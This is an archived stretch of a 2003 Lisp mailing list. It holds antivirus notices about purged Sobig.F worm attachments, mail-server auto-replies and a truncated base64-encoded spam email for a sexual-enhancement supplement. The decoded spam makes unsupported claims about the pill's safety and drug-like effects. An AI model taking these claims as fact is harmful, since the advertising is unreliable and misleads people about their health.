MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain Subject: [clisp-list] Antigen found VIRUS= W32/Sobig.f@MM (NAI,Norman) virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 02:03:05 2003 X-Original-Date: Sun, 24 Aug 2003 02:02:30 -0700 Antigen for Exchange found wicked_scr.scr infected with VIRUS= W32/Sobig.f@MM (NAI,Norman) worm. The message is currently Purged. The message, "Re: That movie", was sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR. From ANTIGEN_EXCH-CONNECTOR@spirentcom.com Sun Aug 24 10:40:56 2003 Received: from mail-out-b.spirentcom.com ([199.1.46.14] helo=exch-connector.netcomsystems.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qyrG-0003Yo-00 for ; Sun, 24 Aug 2003 10:40:55 -0700 Received: by EXCH-CONNECTOR with Internet Mail Service (5.5.2655.55) id ; Sun, 24 Aug 2003 09:50:39 -0700 Message-ID: From: ANTIGEN_EXCH-CONNECTOR To: "'clisp-list@sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain Subject: [clisp-list] Antigen found VIRUS= W32/Sobig.f@MM (NAI,Norman) virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 10:41:05 2003 X-Original-Date: Sun, 24 Aug 2003 09:50:37 -0700 Antigen for Exchange found your_details.pif infected with VIRUS= W32/Sobig.f@MM (NAI,Norman) worm. The message is currently Purged. The message, "Your details", was sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR. From ANTIGEN_EXCH-CONNECTOR@spirentcom.com Sun Aug 24 10:41:04 2003 Received: from mail-out-b.spirentcom.com ([199.1.46.14] helo=exch-connector.netcomsystems.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qyrM-0003Yo-00 for ; Sun, 24 Aug 2003 10:41:02 -0700 Received: by EXCH-CONNECTOR with Internet Mail Service (5.5.2655.55) id ; Sun, 24 Aug 2003 10:32:52 -0700 Message-ID: From: ANTIGEN_EXCH-CONNECTOR To: "'clisp-list@sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain Subject: [clisp-list] Antigen found VIRUS= W32/Sobig.f@MM (NAI,Norman) virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 10:42:02 2003 X-Original-Date: Sun, 24 Aug 2003 10:32:47 -0700 Antigen for Exchange found wicked_scr.scr infected with VIRUS= W32/Sobig.f@MM (NAI,Norman) worm. The message is currently Purged. The message, "Your details", was sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR. From support_net@mentorg.com Sun Aug 24 10:59:50 2003 Received: from relay1.mentorg.com ([192.94.38.131]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qxDp-0002aT-00 for ; Sun, 24 Aug 2003 08:56:05 -0700 Received: from em-wv03.wv.mentorg.com ([147.34.98.30]) by relay1.mentorg.com with esmtp id 19qxDj-0003Ku-00 from support_net@mentorg.com for clisp-list@sf.net; Sun, 24 Aug 2003 08:55:59 -0700 Received: from garnet.wv.mentorg.com ([147.34.96.44]) by em-wv03.wv.mentorg.com (8.8.8/CF5.40R) Received: (from supnet@localhost) by garnet.wv.mentorg.com (8.11.6+Sun/8.11.6/CF5.39L) id h7OFtxq15079 for clisp-list@sf.net; Sun, 24 Aug 2003 08:55:59 -0700 (PDT) Message-Id: <200308241555.h7OFtxq15079@garnet.wv.mentorg.com> To: clisp-list@sourceforge.net Reply-To: sr_bounces@mentorg.com From: "Mentor Graphics Customer Support" Subject: [clisp-list] Re: Thank you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 11:00:15 2003 X-Original-Date: Sun, 24 Aug 2003 08:55:59 -0700 (PDT) This message is from the Mentor Graphics SupportNet-Email server. Your email exceeds the maximum recommended size for email. SupportEmail will not handle email that exceed 30kb (or 30000 characters), for security reason. Additionally, SupportEmail will truncate any attachment. Please use our ftp site to store large size files and record the test case path in your SR long description, and try again. If you continue to have problems sending your request, please report the problem to support_admin@mentor.com. Mentor Graphics Corporation SupportNet-Email This information is in response to the request you submitted: ------------------------------------------------- From ANTIGEN_EXCH-CONNECTOR@spirentcom.com Sun Aug 24 15:30:56 2003 Received: from mail-out-b.spirentcom.com ([199.1.46.14] helo=exch-connector.netcomsystems.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19r3Nv-0007fT-00 for ; Sun, 24 Aug 2003 15:30:55 -0700 Received: by EXCH-CONNECTOR with Internet Mail Service (5.5.2655.55) id ; Sun, 24 Aug 2003 15:29:15 -0700 Message-ID: From: ANTIGEN_EXCH-CONNECTOR To: "'clisp-list@sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain Subject: [clisp-list] Antigen found VIRUS= W32/Sobig.f@MM (NAI,Norman) virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 15:31:08 2003 X-Original-Date: Sun, 24 Aug 2003 15:29:08 -0700 Antigen for Exchange found thank_you.pif infected with VIRUS= W32/Sobig.f@MM (NAI,Norman) worm. The message is currently Purged. The message, "Re: That movie", was sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR. From support_net@mentorg.com Sun Aug 24 21:49:58 2003 Received: from relay1.mentorg.com ([192.94.38.131]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qzFe-0006J5-00 for ; Sun, 24 Aug 2003 11:06:06 -0700 Received: from em-wv03.wv.mentorg.com ([147.34.98.30]) by relay1.mentorg.com with esmtp id 19qzFd-0007aQ-00 from support_net@mentorg.com for clisp-list@sf.net; Sun, 24 Aug 2003 11:06:05 -0700 Received: from garnet.wv.mentorg.com ([147.34.96.44]) by em-wv03.wv.mentorg.com (8.8.8/CF5.40R) Received: (from supnet@localhost) by garnet.wv.mentorg.com (8.11.6+Sun/8.11.6/CF5.39L) id h7OI64E21506 for clisp-list@sf.net; Sun, 24 Aug 2003 11:06:04 -0700 (PDT) Message-Id: <200308241806.h7OI64E21506@garnet.wv.mentorg.com> To: clisp-list@sourceforge.net Reply-To: sr_bounces@mentorg.com From: "Mentor Graphics Customer Support" Subject: [clisp-list] Re: Re: Thank you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 21:59:30 2003 X-Original-Date: Sun, 24 Aug 2003 11:06:04 -0700 (PDT) This message is from the Mentor Graphics SupportNet-Email server. Your email exceeds the maximum recommended size for email. SupportEmail will not handle email that exceed 30kb (or 30000 characters), for security reason. Additionally, SupportEmail will truncate any attachment. Please use our ftp site to store large size files and record the test case path in your SR long description, and try again. If you continue to have problems sending your request, please report the problem to support_admin@mentor.com. Mentor Graphics Corporation SupportNet-Email This information is in response to the request you submitted: ------------------------------------------------- From johnhvdg@yahoo.com Mon Aug 25 07:48:17 2003 Received: from [213.254.170.80] (helo=yahoo.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19rDlo-0005UN-00 for ; Mon, 25 Aug 2003 02:36:16 -0700 Message-ID: Reply-To: johnhvdg@yahoo.com From: johnhvdg@yahoo.com To: "your attention" MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [clisp-list] Stamina Rx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 25 07:49:18 2003 X-Original-Date: Sat, 22 Jun 2002 18:19:55 -0500 PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0 cmFuc2l0aW9uYWwvL2VuIj4NCjxodG1sPg0KPGhlYWQ+DQogICA8bWV0YSBo dHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsg Y2hhcnNldD1pc28tODg1OS0xIj4NCiAgIDxtZXRhIG5hbWU9IkdFTkVSQVRP UiIgY29udGVudD0iTW96aWxsYS80LjYxIFtlbl0gKFdpbk5UOyBJKSBbTmV0 c2NhcGVdIj4NCiAgIDx0aXRsZT5zdGFtaW5hPC90aXRsZT4NCjwvaGVhZD4N Cjxib2R5Pg0KJm5ic3A7DQo8YnI+PGZvbnQgc2l6ZT0rND5Hb29kYnllIDx1 Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5WSUFHUkE8L2ZvbnQ+PC91PiwgSGVs bG8NCjx1Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5TVEFNSU5BIFJYPC9mb250 PjwvdT48L2ZvbnQ+PGZvbnQgc2l6ZT0rND48L2ZvbnQ+DQo8cD48Zm9udCBz aXplPSsyPiZuYnNwOyBIaSB0aGVyZS4gTXkgbmFtZSBpcyBKb2huLiAuIEF0 IDQxIEkgc3RpbGwgaGF2ZQ0KYW4gZXhjZWxsZW50IHNleCBkcml2ZSBidXQg d2FzIGxvb2tpbmc8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMj5mb3IgbW9y ZSBpbiBvcmRlciB0byBrZWVwIG15IGVyZWN0aW9uIGhhcmRlciBhbmQgbWFr ZQ0KaXQgbGFzdCBsb25nZXIuIEkgdHJpZWQgVmlhZ3JhIGZvcjwvZm9udD4N Cjxicj48Zm9udCBzaXplPSsyPmFsbW9zdCA4IG1vbnRocyBhbmQgd2FzIHZl cnkgaGFwcHkgd2l0aCB0aGUgcmVzdWx0LiBJDQp3YXMgYWJsZSB0byBsYXN0 IGxvbmdlciBkdXJpbmc8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMj5pbnRl cmNvdXJzZSBhbmQgZGlkIG5vdCBoYXZlIGFueSBwcm9ibGVtIGdldHRpbmcg aGFyZA0KcXVpY2sgcmlnaHQgYWZ0ZXIgSSB0b29rIGl0LjwvZm9udD48Zm9u dCBzaXplPSsyPjwvZm9udD4NCjxwPjxmb250IHNpemU9KzI+Jm5ic3A7IEkg Z290IHRpcmVkIG9mIHBheWluZyBvdmVyICQxMCBwZXIgcGlsbCBmb3IgVmlh Z3JhDQpzbyBJIGRpZCBzb21lIHJlc2VhcmNoIGFuZCB0cmllZDwvZm9udD4N Cjxicj48Zm9udCBzaXplPSsyPm1hbnkgb2ZmIHRoZSBjb3VudGVyIG5hdHVy YWwgcHJvZHVjdHMgd2l0aG91dCBhbnkgc3VjY2Vzcy4NCkZpbmFsbHkgSSBs YW5kZWQgb24gYTwvZm9udD4NCjxicj48Zm9udCBzaXplPSsyPnByb2R1Y3Qs PHU+IDxmb250IGNvbG9yPSIjRkY2NjY2Ij5TVEFNSU5BIFJYPC9mb250Pjwv dT4sDQp3aGljaCBJIHRyaWVkIHdpdGggYW1hemluZyByZXN1bHRzLiBPbmUg Ym90dGxlIGNvbWVzIHdpdGg8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMj4z MCBibHVlIHBpbGxzLiBXaGVuIEkgdG9vayAyIG9mIHRoZW0gMTUgbWludXRl cyBiZWZvcmUNCmludGVyY291cnNlIG9yIGJlZm9yZSBJIGdvdDwvZm9udD4N Cjxicj48Zm9udCBzaXplPSsyPnJlYWR5IHRvIGplcmsgb2ZmIG15IHBlbmlz IGdvdCBzbyBoYXJkIEkgY291bGQgbm90IGJlbGlldmUNCml0LiBJIGNvdWxk IGNvbWUgYW5kIDMwIG1pbnV0ZXM8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0r Mj5sYXRlciBJIGNvdWxkIGdldCBoYXJkIGFnYWluIHdpdGggdGhlIHNhbWUg cmVzdWx0LiBBY3R1YWxseQ0KSSBjb3VsZCBmZWVsIHRoZSBlZmZlY3RzPC9m b250Pg0KPGJyPjxmb250IHNpemU9KzI+Zm9yIHRoZSBuZXh0IDFvIGhvdXJz LiBPbmNlIEkgdG9vayA2IHBpbGxzIGp1c3QgdG8gZXhwZXJpbWVudA0KYW5k IEkgaGFkIHNleCB3aXRoPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzI+bXkg Z2lybGZyaWVuZCBmb3IgNCBob3VycyBzb2xpZCB3aXRob3V0IGxvb3Npbmcg bXkgaGFyZA0Kb24gYW5kIHNoZSBjb3VsZCBub3QgZ2V0IGVub3VnaC48L2Zv bnQ+PGZvbnQgc2l6ZT0rMj48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsyPiZu YnNwO1RoaXMgcHJvZHVjdCB3YXMgc28gZWZmZWN0aXZlIGZvciBtZSB0aGF0 IEkgZGVjaWRlZA0KdG8gc2VsbCBpdCBhbmQgc2hhcmUgdGhlIGJlbmVmaXRz PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzI+d2l0aCB5b3UuIFRoZSBjb3N0 IGlzIHNvIGVjb25vbWljYWwuIEF0ICQ0MCBwZXIgYm90dGxlDQp5b3UgYXJl IG9ubHkgcGF5aW5nICQxLjMzIHBlcjwvZm9udD4NCjxicj48Zm9udCBzaXpl PSsyPnBpbGwuIENvbXBhcmVkIHRvIFZpYWdyYSB0aGF0J3MgYSBzYXZpbmdz IG9mIG92ZXIgJDgNCnBlciBwaWxsIGFuZCB5b3UgZ2V0IGJldHRlciByZXN1 bHRzLjwvZm9udD48Zm9udCBzaXplPSsyPjwvZm9udD4NCjxwPjxmb250IHNp emU9KzI+VHJ5IGl0IG5vdy4gSSBndWFyYW50ZWUgdGhhdCB5b3Ugd2lsbCBi ZSBtb3JlIHRoYW4gaGFwcHkNCndpdGggdGhlIHJlc3VsdHMuIFlvdSB3aWxs PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzI+bmV2ZXIgZ28gYmFjayB0byBW aWFncmEgYWdhaW4uIEV2ZW4gaWYgeW91IGRpZCBub3QgdXNlDQpWaWFncmEg YW5kIHlvdSB3ZXJlIHlvdW5nPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzI+ eW91IGNvdWxkIHN0aWxsIHVzZSBpdC4gSXQgd2lsbCBtdWx0aXBseSB5b3Vy IHNleCBkcml2ZQ0KYW5kIGtlZXAgeW91IHJvY2sgaGFyZCBhcyBzb29uPC9m b250Pg0KPGJyPjxmb250IHNpemU9KzI+YXMgeW91J3JlIHJlYWR5IHRvIGdv LjwvZm9udD48Zm9udCBzaXplPSsyPjwvZm9udD4NCjxwPjxmb250IHNpemU9 KzI+Q0FMTCBNRSBESVJFQ1QgQVQgMS04ODgtMjg4LTkwNDMgVE8gT1JERVIu IFRIQU5LUywgSk9ITi48L2ZvbnQ+PGZvbnQgc2l6ZT0rMj48L2ZvbnQ+DQo8 cD48Zm9udCBzaXplPSsyPlBsZWFzZSBkbyBub3QgYmUgZm9vbGVkIGJ5IG90 aGVyIHByb2R1Y3RzIHRoYXQgY2xhaW0gdG8NCmJlIGJldHRlciB0aGFuIDxm b250IGNvbG9yPSIjRkY2NjY2Ij5TVEFNSU5BLVJYPC9mb250Pi48L2ZvbnQ+ DQo8YnI+PGZvbnQgc2l6ZT0rMj5ObyBwcm9kdWN0IGNvbXBhcmVzIHRvIHRo aXMgb25lLiBBIGxvdCBvZiBwcm9kdWN0cyBjbGFpbQ0KdGhhdCB0aGV5IGNh biBtYWtlIHlvdXI8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMj5wZW5pcyBi aWdnZXIgYW5kIGxvbmdlci4gSXQncyBhbGwgY3JhcC4gWW91ciBwZW5pcyBj YW5ub3QNCmdldCBsb25nZXIgYmVjYXVzZSB5b3U8L2ZvbnQ+DQo8YnI+PGZv bnQgc2l6ZT0rMj5jYW4ndCBzdHJldGNoIGl0IHBhc3QgaXQncyBuYXR1cmFs IGxlbmd0aC4gPGZvbnQgY29sb3I9IiNGRjY2NjYiPlNUQU1JTkENClJYPC9m b250PiBpcyByZXZvbHV0aW9uYXJ5IGFuZCB3aGVuPC9mb250Pg0KPGJyPjxm b250IHNpemU9KzI+eW91IHRyeSBpdCB5b3UgY2Fubm90IGdvIGFueXdoZXJl IHdpdGhvdXQgaXQgR1VBUkFOVEVFRCwNCnlvdXIgbW9uZXkgYmFjay48L2Zv bnQ+PGZvbnQgc2l6ZT0rMj48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsyPkxv b2sgZm9yd2FyZCB0byBoZWFyaW5nIGZyb20geW91LjwvZm9udD48Zm9udCBz aXplPSsyPjwvZm9udD4NCjxwPjxmb250IHNpemU9KzI+Rk9SIEUtTUFJTCBS RU1PVkFMIFBMRUFTRSBDQUxMIDEtODg4LTI0OC00OTMwPC9mb250Pg0KPGJy Pjxmb250IHNpemU9KzI+PC9mb250PiZuYnNwOw0KPGJyPiZuYnNwOw0KPHA+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQo8Zm9udCBz aXplPSsxPjx1Pjxmb250IGNvbG9yPSIjRkY2NjY2Ij5TdGFtaW5hLVJ4PC9m b250PjwvdT4gaXMgdGhlIGFsbC1uYXR1cmFsDQpzZXh1YWwgc3RpbXVsYW50 IGFsdGVybmF0aXZlIHRvIFZpYWdyYSwgZXhjZXB0IGl0IGlzIHRvdGFsbHkg c2FmZSB0byB1c2UuDQpUaGVyZSBpcyBhbHNvIG5vPC9mb250Pg0KPGJyPjxm b250IHNpemU9KzE+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7DQpuZWVkIGZvciBhIHByZXNjcmlwdGlvbiwgc2luY2UgdGhpcyBpcyBu b3QgYSBtZWRpY2F0aW9uLiBUaGlzIG9yaWdpbmFsDQpmb3JtdWxhdGlvbiBp bmNyZWFzZXMgc2V4dWFsIHN0YW1pbmEgYW5kIGFyb3VzYWwsIHF1aWNrbHk8 L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT4mbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsNCmFuZCBzYWZlbHkuIE1hZGUgd2l0aCBvbmx5 IHRoZSBoaWdoZXN0IGdyYWRlIG9mIGV4dHJhY3RzIGFuZCBudXRyaWVudHMN CmF2YWlsYWJsZSwgPHU+PGZvbnQgY29sb3I9IiNGRjY2NjYiPlN0YW1pbmEg Ung8L2ZvbnQ+PC91PiBpcyBkZXNpZ25lZCBmb3INCm1heGltdW08L2ZvbnQ+ DQo8YnI+PGZvbnQgc2l6ZT0rMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsNCnBlcmZvcm1hbmNlLjwvZm9udD48Zm9udCBzaXplPSsx PjwvZm9udD4NCjxwPjxmb250IHNpemU9KzE+Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7DQpUaGUgZm9ybXVsYXRpb24gaXMgdHJ1bHkg dW5pcXVlIHNpbmNlIGl0IGNvbWJpbmVzIHR3byBlc3NlbnRpYWwgaW5ncmVk aWVudHMNCnRoYXQgYXJlIG5vdCBmb3VuZCBpbiBhbnkgb3RoZXIgbWVkaWNh dGlvbnMgb2YgdGhpczwvZm9udD4NCjxicj48Zm9udCBzaXplPSsxPiZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KdHlwZS4gVGhlc2Ug dHdvIHByb3ByaWV0YXJ5IGNvbXBvbmVudHMgYXJlOjwvZm9udD4NCjxicj48 Zm9udCBzaXplPSsxPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOw0KWGFudGhvcGFybWVsaWEgU2NhYnJvc2Egd2hp Y2ggaW5kdWNlcyBzbW9vdGggbXVzY2xlIHJlbGF4YXRpb24gYW5kIGluY3Jl YXNlcw0KYXJ0ZXJpYWwgZGlsYXRpb24gYW5kIGJsb29kZmxvdy48L2ZvbnQ+ DQo8YnI+PGZvbnQgc2l6ZT0rMT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCkNuaWRpdW0gTW9ubmllciBpbmNy ZWFzZXMgbml0cmljIG94aWRlIHJlbGVhc2Ugd2hpbGUgaW5oaWJpdGluZyBQ REUtNSB3aGljaA0KbWVhbnMgc3VzdGFpbmVkIGVyZWN0aW9ucyBmb3IgbG9u Z2VyIHBlcmlvZHMgb2Y8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT4mbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCnRpbWUuIEluIGFk ZGl0aW9uLCB0aGUgZm9sbG93aW5nIGluZ3JlZGllbnRzIGFyZSBwYXJ0IG9m IHRoaXMgZXh0cmVtZWx5DQplZmZlY3RpdmUgZm9ybXVsYXRpb246PC9mb250 Pg0KPGJyPjxmb250IHNpemU9KzE+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7DQoxLiBZb2hpbWJlIDglIEV4dHJhY3QgdGhpcyBhY3Rp dmUgY29uc3RpdHVlbnQsIGluY3JlYXNlcyBibG9vZCBmbG93IHRvDQp0aGUg cGVuaXMgYW5kIGRyYW1hdGljYWxseSBpbmNyZWFzZXMgdGhlIGxpYmlkby48 L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT4mbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsNCjIuIEwtQXJnaW5pbmUgaW5jcmVhc2VzIG5h dHVyYWwgcHJvZHVjdGlvbiBvZiBuaXRyaWMgb3hpZGUgdGhhdCB3aWxsIGxl YWQNCnRvIGEgbW9yZSByaWdpZCBlcmVjdGlvbnMuPC9mb250Pg0KPGJyPjxm b250IHNpemU9KzE+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7DQozLiBHYW1tYSBBbWlubyBCdXR5cmljIEFjaWQgaW5jcmVhc2VzIHRo ZSBsZXZlbCBvZiBkb3BhbWluZSwgdGhhdCBpbmNyZWFzZXMNCnNlbnNhdGlv bnMgZHVyaW5nIG9yZ2FzbXMuPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQo0LiBFcGlt ZWRpdW0gKEhvcm55IEdvYXQgV2VlZCkgYWNjZWxlcmF0ZXMgc2V4IGRyaXZl IGJldHRlciB0aGFuIGFueSBvdGhlcg0KY29tcG91bmQgYXZhaWxhYmxlLjwv Zm9udD48Zm9udCBzaXplPSsxPjwvZm9udD4NCjxwPjxmb250IHNpemU9KzE+ Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQpUaGUgPHU+ PGZvbnQgY29sb3I9IiNGRjY2NjYiPlN0YW1pbmEtUng8L2ZvbnQ+PC91PiBm b3JtdWxhIGhhcyBiZWVuIGNvbXBhcmVkDQp0byBhbm90aGVyIHByb2R1Y3Qg Y2FsbGVkIEVuenl0ZS4gVGhpcyBwcm9kdWN0IGlzIGFsc28gYW4gYWxsLW5h dHVyYWwsPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQpub24tcHJlc2NyaXB0aW9uIHN1 cHBsZW1lbnQgdGhhdCBoYXMgYmVlbiBkZXNpZ25lZCB0byBpbXByb3ZlIG1h 